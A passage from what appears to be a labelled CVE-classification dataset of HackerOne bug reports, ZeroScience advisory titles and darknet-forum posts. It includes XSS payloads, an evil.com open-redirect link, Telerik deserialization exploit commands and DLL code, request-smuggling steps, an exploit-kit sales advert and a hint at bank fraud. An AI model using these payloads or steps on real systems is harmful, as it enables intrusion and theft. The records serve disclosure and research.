/root/karas/perl5-blead/perl.c:2401:9\n #8 0x82285e3 in perl_parse /root/karas/perl5-blead/perl.c:1719:2\n #9 0x81494a6 in main /root/karas/perl5-blead/perlmain.c:121:18\n #10 0xb74d5636 in __libc_start_main /build/glibc-KM3i_a/glibc-2.23/csu/../csu/libc-start.c:291\n #11 0x8075847 in _start (/root/karas/perl5-blead/perl+0x8075847)\n\n0xb610081c is located 2 bytes to the right of 10-byte region [0xb6100810,0xb610081a)\nallocated by thread T0 here:\n #0 0x8119b84 in malloc (/root/karas/perl5-blead/perl+0x8119b84)\n #1 0x84e2987 in Perl_safesysmalloc /root/karas/perl5-blead/util.c:153:21\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /root/karas/perl5-blead/pp_pack.c:2703:17 in S_pack_rec\nShadow bytes around the buggy address:\n 0x36c200b0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa 00 04\n 0x36c200c0: fa fa fd fd fa fa 00 04 fa fa 00 04 fa fa 00 04\n 0x36c200d0: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa 00 04\n 0x36c200e0: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa 00 04\n 0x36c200f0: fa fa fd fa fa fa fd fd fa fa 00 02 fa fa 01 fa\n=>0x36c20100: fa fa 00[02]fa fa 00 02 fa fa fd fd fa fa 00 04\n 0x36c20110: fa fa 02 fa fa fa 00 02 fa fa 07 fa fa fa 00 02\n 0x36c20120: fa fa 00 02 fa fa 00 00 fa fa 00 05 fa fa 00 01\n 0x36c20130: fa fa 00 07 fa fa 00 fa fa fa 00 02 fa fa 05 fa\n 0x36c20140: fa fa 00 02 fa fa 06 fa fa fa 00 02 fa fa 05 fa\n 0x36c20150: fa fa 00 05 fa fa 04 fa fa fa 05 fa fa fa 05 fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07\n Heap left redzone: fa\n Heap right redzone: fb\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack partial redzone: f4\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n==2895==ABORTING\n```\n\n## Impact\n\nDepending on the heap implementation a remote attacker could leak heap information to bypass ASLR.", "source": "hackerone", "timestamp": "2019-10-24", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f773db52f5705a1c1c76", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2021-03-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d4d77f957dc600fc9131", "text": "[Uncontrolled Resource Consumption] help.nextcloud.com: Known DoS condition (null pointer deref) in Nginx running\n\nThe https://help.nextcloud.com sub-site is running Nginx/1.10.0 which is vuln to a known issue (CVE-2016-4450) which allows a remote malformed HTTP request to cause the Nginx process to crash.\n\nDoS testing is mentioned as not requested, but if you know of an issue give it a go .. \n\nYou can determine the version running by requesting the IP of the site and getting the HTTP 301, eg: https://88.198.160.135\n\nhttps://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-4450", "source": "hackerone", "timestamp": "2016-07-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "86294a779a98c1c9f471", "text": "[Uncontrolled Resource Consumption] Uncontrolled Resource Consumption in any Markdown field using Mermaid\n\n### Summary\n\nI found a bypass for the mitigation of [DoS via Mermaid (CVE-2019-9220)](https://hackerone.com/reports/470067).\nAs the mitigation for [CVE-2019-9220](https://hackerone.com/reports/470067), the input limit of 5000 characters is currently applied to a Mermaid code block, but it can be bypassed by simply splitting the longer payload to **many** code blocks.\n\n### Steps to reproduce\n\n1. Sign in to GitLab.\n2. Open any page where you can input Markdown text using Mermaid into the form.\n3. Copy and paste the contents of the attached file (**\"payload-5Kchars-x-100blocks.txt\"**) to the input form.\n4. Save the Markdown text on the page you opened. (For example, click \"Comment\" on \"Issue\" page. Please see \"Example_on_Issue_page_Firefox.png\")\n5. Wait a few seconds for **many** Mermaid graphs to begin rendering.\n\n{F551168}\n\n### What is the current *bug* behavior?\n\nWhen rendering of the Mermaid graphs starts, the browser tab displaying the page freezes.\nThis behavior prevents browsing and editing the page that have been added the Mermaid graphs.\nAlso, the resources used by the browser tab will increase as rendering continues. In the worst case, the entire browser also freezes or crashes.\n\n### What is the expected *correct* behavior?\n\nWe need a mechanism to stop rendering in advance by detecting if the user's input contains a large number of Mermaid code blocks.\n\n### Relevant logs and/or screenshots\n\n* \"payload-5Kchars-x-100blocks.txt\" : This text contains 100 sets of Mermaid code blocks. Each code block contains approximately 5000 characters.\n* \"Example_on_Issue_page_Firefox.png\" : Screenshot when pasting the payload on \"Issue\" page.\n\n### Output of checks\n\nThis bug happens on the official Docker installation of GitLab Enterprise Edition `12.1.4-ee`.\nThe browsers used for testing are `Firefox 68` and `Chromium 76` on Ubuntu.\n\n#### Results of GitLab environment info\n\nOutput of `sudo gitlab-rake gitlab:env:info`:\n```\nSystem information\nSystem:\t\t\nProxy:\t\tno\nCurrent User:\tgit\nUsing RVM:\tno\nRuby Version:\t2.6.3p62\nGem Version:\t2.7.9\nBundler Version:1.17.3\nRake Version:\t12.3.2\nRedis Version:\t3.2.12\nGit Version:\t2.21.0\nSidekiq Version:5.2.7\nGo Version:\tunknown\n\nGitLab information\nVersion:\t12.1.4-ee\nRevision:\t4ea82400e72\nDirectory:\t/opt/gitlab/embedded/service/gitlab-rails\nDB Adapter:\tPostgreSQL\nDB Version:\t10.7\nURL:\t\thttp://gitlab.example.com\nHTTP Clone URL:\thttp://gitlab.example.com/some-group/some-project.git\nSSH Clone URL:\tgit@gitlab.example.com:some-group/some-project.git\nElasticsearch:\tno\nGeo:\t\tno\nUsing LDAP:\tno\nUsing Omniauth:\tyes\nOmniauth Providers: \n\nGitLab Shell\nVersion:\t9.3.0\nRepository storage paths:\n- default: \t/var/opt/gitlab/git-data/repositories\nGitLab Shell path:\t\t/opt/gitlab/embedded/service/gitlab-shell\nGit:\t\t/opt/gitlab/embedded/bin/git\n```\n\n## Impact\n\nThis vulnerability is effective not only on Issue pages but also on **all pages using Markdown with Mermaid**.\n\nThe following impacts exist on the attacked page:\n\n* All users can not view the attacked page. (In some situations, the users may see incomplete rendering of the attacked page, but the user's viewing is still significantly blocked.)\n* All users can not take any action on the attacked page.\n* Depending on the user's environment, crashing or freezing the entire browser may cause user data being edited to be lost.\n\nThese impacts are almost the same as [CVE-2019-9220](https://hackerone.com/reports/470067).\nThese are more malicious than other issues that can be handled with 500 errors.", "source": "hackerone", "timestamp": "2019-12-20", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ae6992870e5b4606676d", "text": "Pacer Edition CMS 2.1 (l param) Local File Inclusion Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-06-10", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "dff3bc695d7c63b09d90", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS on reports.\n\n**Summary:** \nStored XSS can be submitted on reports, and anyone who will check the report the XSS will trigger. \n\n**Description:**\nStored XSS, also known as persistent XSS, is the more damaging than non-persistent XSS. It occurs when a malicious script is injected directly into a vulnerable web application. \n\n## Steps To Reproduce:\n\n 1. Go to https://app.mopub.com/reports/custom/\n 2. Click **New network report**.\n 3. On the name, enter payload: **\"><img src=x onerror=alert(document.domain)>**\n 4. Click **Run and save** then XSS will trigger. \n\n**Demonstration of the vulnerability:**\nPoC: ████\n\n\nTested on Firefox and chrome.\n\n## Impact\n\nThe attacker can steal data from whoever checks the report.", "source": "hackerone", "timestamp": "2019-04-01", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "fd0d7a08f1a78c0ba923", "text": "[Evolution] RIG Exploit Kit - 20-30% IR\n\nRIG Exploit Kit: http://k5zq47j6wd3wdvjq.onion/listing/87480Are pleased to introduce you to RIG exploits v2.0-Work On all WinOS 32 / 64bi-Bypass UAC on exploits-Fast cleaning + cleaning on request-Keep Large volumes of traffic, no traffic limits-We provide always clean and trust domains with automatic check on the blacklist-We use CVE-2013-7331 for detect and stop AV or virtual machines.-API with automatic deliveryEach account has a 2 stream and can ship 2 different exeCurrent exploits:✔ Java: CVE-2012-0507 ✔ Java: CVE-2013-2465✔ IE7-8-9: CVE-2013-2551✔ IE10:CVE-2013-0322✔ Flash:CVE-2014-0497✔ Flash:CVE-2015-0311✔ Silverlight:CVE-2013-0074An average rate of 10-20%Cost:1 day - 50 usdWeek - 200 usdmonth - 700 usd Jabber: 0x43@exploit.imInstant Transactions: I WILL ONLY USE ESCROWWe will be using the escrow service as always and I will create you your account and give you login to our panel. It is very simple and the trade should only take 1-2 minutes to finish our transactions.", "source": "gayanku", "timestamp": "2015-02-06", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "7632d4607fabcab35192", "text": "[Business Logic Errors] attacker can book unlimited tickets in free at https://aaf.com/checkout/order-received/21237/?key=wc_order_5bbef48fa35b2\n\nDear Team,\n\n**Summary:** [add summary of the vulnerability]\nAfter looking into https://aaf.com/\ni get to know that there is way where i can book a ticket and can play around , but it asked for valid credit card and all stuff\nso , i tried to bypass and bought a ticket 23 with 0$\n\nLive PoC:\nhttps://aaf.com/checkout/order-received/21237/?key=wc_order_5bbef48fa35b2 (check this one)\n\n**Description:** [add more details about this vulnerability]\nattacker can book unlimited tickets in free at https://aaf.com/checkout/order-received/21237/?key=wc_order_5bbef48fa35b2\n\n## Steps To Reproduce:\n\n1. go to aaf.com and login with your account\n2. click on ticket option and select San Antonio Commanders Season and click on that and select 3 or any ticket and intercept that request ,\nand change from 3-seats-3 to 10-seats-10\n{F358789}\nsnip:\n\n```\nContent-Disposition: form-data; name=\"addon-268-number-of-seats-0\"\n\n10-seats-10\n```\n{F358788}\n3. click on add tickets and you can see your order is 0$\n\nand book any number of ticket at 0$\n\n## Supporting Material/References:\n\nPlease find attachment\n\nThanks,\nVishal\n\n## Impact\n\nattacker can book unlimited tickets in free at https://aaf.com/checkout/order-received/21237/?key=wc_order_5bbef48fa35b2", "source": "hackerone", "timestamp": "2019-04-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "dea5cf7f889d8df00200", "text": "Qool CMS v2.0 RC2 Multiple HTML And JavaScript Injection Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2013-03-06", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "03a0e86d7f4bed37cde2", "text": "ECOA Building Automation System Authorization Bypass / IDOR\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-09-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "68f6e79d71b3fa065e32", "text": "[Agora] Visit the Wrong Website and the FBI Could End Up in Your Computer\n\nHere is a Wired article about Operation Torpedo.  Interesting read.***WARNING CLEARNET LINK****http://www.wired.com/2014/08/operation_torpedo/Visit the Wrong Website and the FBI Could End Up in Your Computer:Security experts call it a “drive-by download”: a hacker infiltrates a high-traffic website and then subverts it to deliver malware to every single visitor. It’s one of the most powerful tools in the black hat arsenal capable of delivering thousands of fresh victims into a hackers’ clutches within minutes.Now the technique is being adopted by a different kind of a hacker—the kind with a badge. For the last two years the FBI has been quietly experimenting with drive-by hacks as a solution to one of law enforcement’s knottiest Internet problems: how to identify and prosecute users of criminal websites hiding behind the powerful Tor anonymity system.The approach has borne fruit—over a dozen alleged users of Tor-based child porn sites are now headed for trial as a result. But it’s also engendering controversy with charges that the Justice Department has glossed over the bulk-hacking technique when describing it to judges while concealing its use from defendants. Critics also worry about mission creep the weakening of a technology relied on by human rights workers and activists and the potential for innocent parties to wind up infected with government malware because they visited the wrong website. “This is such a big leap there should have been congressional hearings about this” says ACLU technologist Chris Soghoian an expert on law enforcement’s use of hacking tools. “If Congress decides this is a technique that’s perfectly appropriate maybe that’s OK. But let’s have an informed debate about it.”The FBI’s use of malware is not new. The bureau calls the method an NIT for “network investigative technique” and the FBI has been using it since at least 2002 in cases ranging from computer hacking to bomb threats child porn to extortion. Depending on the deployment an NIT can be a bulky full-featured backdoor program that gives the government access to your files location web history and webcam for a month at a time or a slim fleeting wisp of code that sends the FBI your computer’s name and address and then evaporates.What’s changed is the way the FBI uses its malware capability deploying it as a driftnet instead of a fishing line. And the shift is a direct response to Tor the powerful anonymity system endorsed by Edward Snowden and the State Department alike.Tor is free open-source software that lets you surf the web anonymously. It achieves that by accepting connections from the public Internet—the “clearnet”—encrypting the traffic and bouncing it through a winding series of computers before dumping it back on the web through any of over 1100 “exit nodes.”The system also supports so-called hidden services—special websites with addresses ending in .onion whose physical locations are theoretically untraceable. Reachable only over the Tor network hidden services are used by organizations that want to evade surveillance or protect users’ privacy to an extraordinary degree. Some users of such service have legitimate and even noble purposes—including human rights groups and journalists. But hidden services are also a mainstay of the nefarious activities carried out on the so-called Dark Net: the home of drug markets child porn murder for hire and a site that does nothing but stream pirated My Little Pony episodes.Law enforcement and intelligence agencies have a love-hate relationship with Tor. They use it themselves but when their targets hide behind the system it poses a serious obstacle. Last month Russia’s government offered a $111000 bounty for a method to crack Tor.The FBI debuted its own solution in 2012 in an investigation dubbed “Operation Torpedo” whose contours are only now becoming visible through court filings.Operation Torpedo began with an investigation in the Netherlands in August 2011. Agents at the National High Tech Crime Unit of the Nethe", "source": "gayanku", "timestamp": "2014-08-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6a6ec7b92b13572d9d39", "text": "AdaptCMS 3.0.3 HTTP Referer Header Field Open Redirect Vulnerability\n\nSeverity: low", "source": "zeroscience", "timestamp": "2015-01-05", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "8fd60b65a4f0603397c5", "text": "HomeAutomation v3.3.2 CSRF Remote Command Execution (PHP Reverse Shell) PoC\n\nSeverity: high", "source": "zeroscience", "timestamp": "2019-12-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "682fe89615ef8b19e984", "text": "[Cleartext Transmission of Sensitive Information] Proxy-Authorization header carried to a new host on a redirect\n\nhi cURL team\n\nI am not entirely sure this is an issue, please feel free to close of it isn't.\n\nI noticed that when making an HTTP GET request with Proxy-Authorization header, together with the \"-L\" flag to follow redirects\n\n curl -H \"Authorization-Proxy: Basic xxx==\" http://host:8000 -L\n\nIf the remote web server redirects to an alternate host/port, cURL will carry over the Proxy-Authorization header to the redirected new host along with the secret.\n\nIf Authorization header is used (vs Proxy-Authentication) then the header gets stripped as it should.\n\nClient sends GET request with Proxy-Authorization header to Server 1:8080\nServer1 Redirects cURL to Server2:8081\nServer2:8081 Receives the Proxy-Authorization header\nThis was reproducible in the following version:\n\ncurl 7.64.1 (x86_64-apple-darwin20.0) libcurl/7.64.1 (SecureTransport) LibreSSL/2.8.3 zlib/1.2.11 nghttp2/1.41.0\nRelease-Date: 2019-03-27\n\nI believe the expected behaviour is that Proxy-Authorization header should be stripped upon a server redirection, since its not within the same domain origin.\n\nI also noticed a similar issue was opened 3 years ago regarding Authorization header: https://curl.se/docs/CVE-2018-1000007.html\n\n## Impact\n\nIf the password is sent via HTTPS, the server may redirect it to over unencrypted protocols if sent to an HTTP web server, making the Interception of the password possible.", "source": "hackerone", "timestamp": "2021-03-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "961a57fd4b654332641e", "text": "FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 CSRF Add Admin Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-09-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3ac7c7ea75232e2d8a1c", "text": "[Business Logic Errors] Takeover of Twitter-owned domain at mobileapplinking.com\n\n> NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!\n\n**Summary:** Not sure there is much of a security impact to this, more of a best practice, but the domain mobileapplinking.com, which is registered to Twitter Inc. is vulnerable to takeover using github pages.\n\n**Description:** The domain mobileapplinking.com is owned and registered by Twitter.com, as can be seen through the WHOIS data attached to this report. However, the DNS for the site links to a non-existent Github pages site. This left it open for takeover through Github Pages. The site is currently registered under my github pages account, as can be seen at mobileapplinking.com/takeover\n\n## Steps To Reproduce:\n\n(Add details for how we can reproduce the issue)\n\n 1. Register a new github pages site\n 1. Create a CNAME file with the URL mobileapplinking.com\n 1. Browse to mobileapplinking.com and observe the taken over site.\n\n## Impact: If this site was defaced and used to transmit illegal or inflammatory things, and it was found that Twitter owned the domain, it could negatively effect the Twitter brand.\n\n## Supporting Material/References:\n\n * whois_mobileapplinking.png - screenshot of WHOIS data showing twitter ownership.\n\n## Impact\n\nIf this site was defaced and used to transmit illegal or inflammatory things, and it was found that Twitter owned the domain, it could negatively effect the Twitter brand.", "source": "hackerone", "timestamp": "2019-02-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "9f3ca3ac9c3ad5c5fa6e", "text": "Micro Focus Rumba+ v9.4 Multiple Stack Buffer Overflow Vulnerabilities\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-05-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "c7e15caed7e7af9bd299", "text": "ZKTeco ZKBioSecurity 3.0 Hardcoded Credentials Remote SYSTEM Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2016-08-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "0b8948d689d3a14b7942", "text": "[HTTP Request Smuggling] http request smuggling in pscp.tv and periscope.tv\n\n**Description:** \nthe Description of HTTP request smuggling attacks : [here](https://portswigger.net/web-security/request-smuggling)\n\nseems that many subdomains in pscp.tv and periscope.tv vulenrable\n\n##1-Detect HTTP request smuggling attack [504 response with delay (30 s, 60s)] \"DoS\"\n\nPOC & Steps To Reproduce: in this video F606648\nResource: [https://portswigger.net/web-security/request-smuggling/finding] \n\n\n##2- [exploit HTTP request smuggling attack ] send two request as one request get two response as one response [low impact]\nPOC & Steps To Reproduce & impact : in this video F606663\n**ps:**\n-add the two CRLFs in the end of the second request in GET REQUEST.\n-use the valid value of content-length in POST REQUEST.\n\n##3-[exploit HTTP request smuggling attack ] poison the VICTIM request\n\nPOC & Steps To Reproduce & impact : in this video\ninject a get request to the victim request F606689 \ninject a get request to the victim request F606704 \n**ps:**\n-don't add the two CRLFs in the end of the second request in GET REQUEST.\n-use large value in content-length then the length of request body in POST REQUEST.\nResource:\n[exploit] (https://portswigger.net/web-security/request-smuggling/exploiting)\n\n## important:\non a live site with a high volume of traffic like [www.pscp.tv] .it can be hard to prove request smuggling exists without exploiting numerous genuine users in the process.\n-in the poc F606704 , i edit the victim request to my post request `editing the description of my account` and ignore the real victim request. and the description will change.\n\n## Impact\n\n1-dos\n2-bypass csrf token & inject cookie allow to link attacker account with [google,twitter] victim account\n report : https://hackerone.com/reports/704489\nsee other impact in \nhttps://portswigger.net/web-security/request-smuggling/exploiting", "source": "hackerone", "timestamp": "2020-09-10", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "1a9a3bd148b35e74a62e", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS on https://apps.topcoder.com/wiki/pages/editpage.action\n\n## Summary:\nHi :) There is a stored XSS on wiki pages and it executes when editing page.\n\n## Steps To Reproduce:\nAfter I submitted #867125, i realized that the vote macro causes stored XSS on wiki edit page. \nA user can edit wiki pages on https://apps.topcoder.com/wiki/pages/editpage.action?pageId=. Users can insert macros to pages. Vote macro is vulnerable to XSS. \n\nGo to a wiki page, edit it and type\n\n```\n{vote:What is your favorite vulnerability?}\nRCE\nSSRF\nXSS\"><img src=X onerror=alert(document.domain)>\n{vote}\n```\nand save it. When an other user edit this page, XSS will execute.\n\nPoC:\nhttps://apps.topcoder.com/wiki/pages/editpage.action?pageId=165871793\n{F817588}\n\nNote: This only works to signed-in users. Because unauthorized users cannot edit pages. I think there is a mistake on https://apps.topcoder.com/wiki/login.action now. If you encounter an error, you can login on main site (https://accounts.topcoder.com/member) then try.\n\n## Impact\n\nXSS can use to steal cookies or to run arbitrary code on victim's browser.", "source": "hackerone", "timestamp": "2020-05-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "1621c35bfe44cd0ed291", "text": "[Open Redirect] Open redirect on the https://tt.hboeck.de\n\nHi Team!\n\nTesting request:\n`POST /public.php?return=%2F HTTP/1.1\nHost: tt.hboeck.de\n...........\nop=login&login={….}&password={...}&profile=0`\n\nVulnerable parameter: `return`\n\nMethod: `POST` -> `GET` -> OK\n\nPOC:\n`https://tt.hboeck.de/public.php?return=http%3a%2f%2fevil.com%2f&op=login&login=password=&profile=0`\n\n## Impact\n\nUser can be redirect to malicious site.", "source": "hackerone", "timestamp": "2019-03-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "26f6988be24d4ce67b23", "text": "[Use After Free] CVE-2019-0196: mod_http2 with scoreboard Use-After-Free (Read)\n\nA crafted HTTP2 request can trigger reference to request data from a memory pool after its destruction. This memory is subsequently used as input to an sprintf type function for constructing a string value. This unsafe memory access ultimately means that the \nr->the_request string is poisoned with unintended data. \n\nTo reproduce the problem, I have attached a script that will download/compile Apache httpd and reproduce the behavior with ASAN enabled. The archive also contains a nice ASAN output from the event.\n\n## Impact\n\nThis is an unsafe memory access. It could lead to process crashes, assist in other exploits, or reveal confidential data through unexplored interactions with other httpd modules.", "source": "hackerone", "timestamp": "2019-09-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "519cedaaae75a7fa6850", "text": "[Privilege Escalation] Critical - Insecure Direct Object Reference - Deleting any member of any organization remotely\n\nHello Team,\n\nI have found an extremely critical issue with the help of which an attacker can delete any member of any organization. The vulnerability is Insecure Direct Object Reference(IDOR) which leads to privilege escalation as an attacker can perform such a critical attack from his own account.\n\nVulnerable URL: DELETE /api/v1/org-member/4/[MEMBER_ID]/\n\nOn changing the member id, application allows an attacker to delete that member. I tried using my 2 accounts and got success in the same.\n\nSteps to Reproduce:'\n\n1. Login to your Veris View Portal.\n2. Go to Member Book.\n3. Set up Burp Suite to intercept the request OR simply edit the member id from browser's Inspect Element feature.\n4. Delete a Member and intercept the request.\n5. Replace the member id with some other member of other organization.\n6. Forward the request.\n7. Check in the other organization. Member would be deleted.\n\nProof of Concept: Please find the attached screenshots.\n\nDo evaluate it and inform me accordingly.\n\nBest Regards,\n\nHely H. Shah", "source": "hackerone", "timestamp": "2016-06-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "8a262648d601310786bf", "text": "SOYAL Biometric Access Control System 5.0 CSRF Change Admin Password\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2021-03-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "9245a4257fea9a789df0", "text": "[Improper Access Control - Generic] ability to install paid themes for free\n\nHi,\n\n#Discription\nwhile searching for access control issues on shopify I noticed a subdomain of shopify https://themes.shopify.io which gave me the opportunity to install and download paid \nthemes for free.\n\n#POC\n\n1. go to https://themes.shopify.io/login and login\n2. select one of the paid themes and press on ``buy theme`` button\n3. you will be facing this screen on your shop:\n {F225469}\n4. press on ``apporve charge`` button and the theme will be installed after getting to this screen:\n{F225470}\n\n#IMPACT\n\nany user can download any paid themes and also can save them and modify them to upload them again \n\n#FIX\n\nyou should limit the access to https://themes.shopify.io/ since it is for testing only.\n\nthanks.", "source": "hackerone", "timestamp": "2018-05-16", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "388bc502813d18190be7", "text": "[Silk Road 1] Re: Buying Bitcoins From Pureogkush\n\nQuote from: YeahRight on October 19, 2012, 09:15 amNo coins for several days now and no replies to messages. If they don't turn up today I will be reporting an unauthorized transaction to my bank and will get my cash back.Hi, shit that's bad to hear but I strongly recommend you don't do that - know more about bank fraud/forensics than is safe to mention here, but that would get yourself and everyone else who has deposited fucked.  If there's nothing by Monday I'll tell you how to do it risk free.  :)", "source": "gayanku", "timestamp": "2012-10-19", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "75fc1520ae9be33769f7", "text": "Eibiz i-Media Server Digital Signage 3.8.0 (oldfile) File Path Traversal\n\nSeverity: high", "source": "zeroscience", "timestamp": "2020-08-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "217a5a99c94783e832cc", "text": "[Memory Corruption - Generic] Flash double free vulnerability leads to code execution\n\nThis bug was reported directly to Adobe and got assigned CVE-2014-0502.\r\n\r\nhttp://helpx.adobe.com/security/products/flash-player/apsb14-07.html\r\n\r\nThis one was actively (and it still is) exploited since February 12th in watering hole campaigns against nonprofit research institutions and human right activists websites.\r\n\r\nIf I can get a reward for this vulnerability, I'd be happy to give it to charity!", "source": "hackerone", "timestamp": "2014-02-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ed9d161a655bd18d40ff", "text": "IBM Cognos Business Intelligence Developer 10.2.1 (backURL) Open Redirect\n\nSeverity: low", "source": "zeroscience", "timestamp": "2015-05-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "4cce763684db165ee4d9", "text": "FLIR Systems FLIR AX8 Thermal Camera 1.32.16 Remote Root Exploit\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2018-10-14", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "727f4f7173e7fce30120", "text": "[Deserialization of Untrusted Data] Remote Code Execution via Insecure Deserialization in Telerik UI (CVE-2019-18935)\n\n**Description:**\nhttps://██████/██████████/Telerik.Web.UI.WebResource.axd?type=rau is vulnerable to CVE-2017-11317 and CVE-2019-18935, allowing an attacker to upload arbitrary files and gain remote code execution on the underlying system.\n\n## References\nhttps://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui\n\n## Impact\n\nAn attacker can execute code on the vulnerable server, allowing an attacker to gain a foothold and exfiltrate data. Depending on the security posture of the underlying system, an attacker may be able to escalate privileges or laterally move to other systems within the network using this access.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\nTelerik UI Version ███\n\n## CVE Numbers\nCVE-2017-11317, CVE-2019-18935\n\n## Steps to Reproduce\n## Verify the Upload Handler is Registered\nFirst, confirm the file upload handler is registered by issuing the following request:\n```bash \ncurl -sk https://██████████/██████████/Telerik.Web.UI.WebResource.axd?type=rau\n```\nYou should see the following response:\n```\n{ \"message\" : \"RadAsyncUpload handler is registered succesfully, however, it may not be accessed directly.\" }\n```\n\n\n## Version Identification\nNext, you will need to install `RAU_crypto` (https://github.com/bao7uo/RAU_crypto) and use it to submit upload requests with known vulnerable versions until finding the correct version. After `RAU_crypto` has been installed, you can use the following script (with the attached _versions.txt_ file):\n```bash\necho 'test' > testfile.txt\nfor VERSION in $(cat versions.txt); do\n echo -n \"$VERSION: \"\n python3 RAU_crypto.py -P '█████' \"$VERSION\" testfile.txt https://█████████/█████/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null | grep fileInfo || echo\n done\n```\n\nThis uploads a file (in this case, `testfile.txt`) to the `█████` directory on the target server. The contents of my `testfile.txt` simply included the word \"test\".\n\nThe script should eventually identify a vulnerable version (`████████`), indicating the file upload succeeded and showing an encrypted blob of data related to the uploaded file:\n```bash\n█████████: {\"fileInfo\":{\"FileName\":\"RAU_crypto.bypass\",\"ContentType\":\"text/html\",\"ContentLength\":5,\"DateJson\":█████ }\n```\n\n## Compiling a Test Payload\nNow that we know we can upload a file to the target, we can attempt to exploit the deserialization vulnerability. To do this, we can compile and upload a DLL that causes the server to sleep for 10 seconds before responding:\n```c\n#include <windows.h>\n#include <stdio.h>\n\nBOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)\n{\n if (fdwReason == DLL_PROCESS_ATTACH)\n Sleep(10000); // Time interval in milliseconds.\n return TRUE;\n}\n```\n\nAs a .NET application will only load an assembly once with a given name, the dll from my test will only successfully sleep the server on the first exploit. I have compiled and attached an unused dll for testing purposes if desired (if not, just follow the steps from the link in the references section).\n\n## Exploitation\nNow that we have our test payload ready, we can use the attached _CVE-2019-18935.py_ script to upload and execute the dll.\n\n```bash\npython3 CVE-2019-18935.py -u https://███████/███/Telerik.Web.UI.WebResource.axd?type=rau -v ██████████ -f '███' -p sleep_2020070207013954_amd64.dll\n```\n\n> *Note: I'm having trouble getting the server to sleep with the crafted `.dll`. The files are getting uploaded, but do not seem to be causing the server to sleep as expected. It is 02:30 AM here at the moment so I am heading to bed but will update tomorrow with more info in the comments, and will end up self closing if I can't get execution.*\n\n## Suggested Mitigation/Remediation Actions\nUpdate TelerikUI to the latest (or a patched) version.", "source": "hackerone", "timestamp": "2021-06-03", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "9d75faec02c0142ac611", "text": "[Unknown] Use After Free Vulnerability in session deserializer\n\nhttps://bugs.php.net/bug.php?id=70219", "source": "hackerone", "timestamp": "2015-09-01", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ac3e19b0e7bab4939605", "text": "EDraw Flowchart ActiveX Control 2.3 (.edd parsing) Remote Buffer Overflow PoC\n\nSeverity: high", "source": "zeroscience", "timestamp": "2010-04-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "7ff3afc6c1d68c7a8a4a", "text": "[Information Disclosure] Flash Sandbox Bypass\n\nAdobe Flash Player issue 2719 and 2720.\r\nExploit of this bug uses 2 separate vulnerabilities. \r\n2720 is a bug which is able to, from the local-with-file sandbox, (default local sandbox), open both local and remote files, (local files and http/https resources). An attacker could for example read your email, or simply retrieve a local password 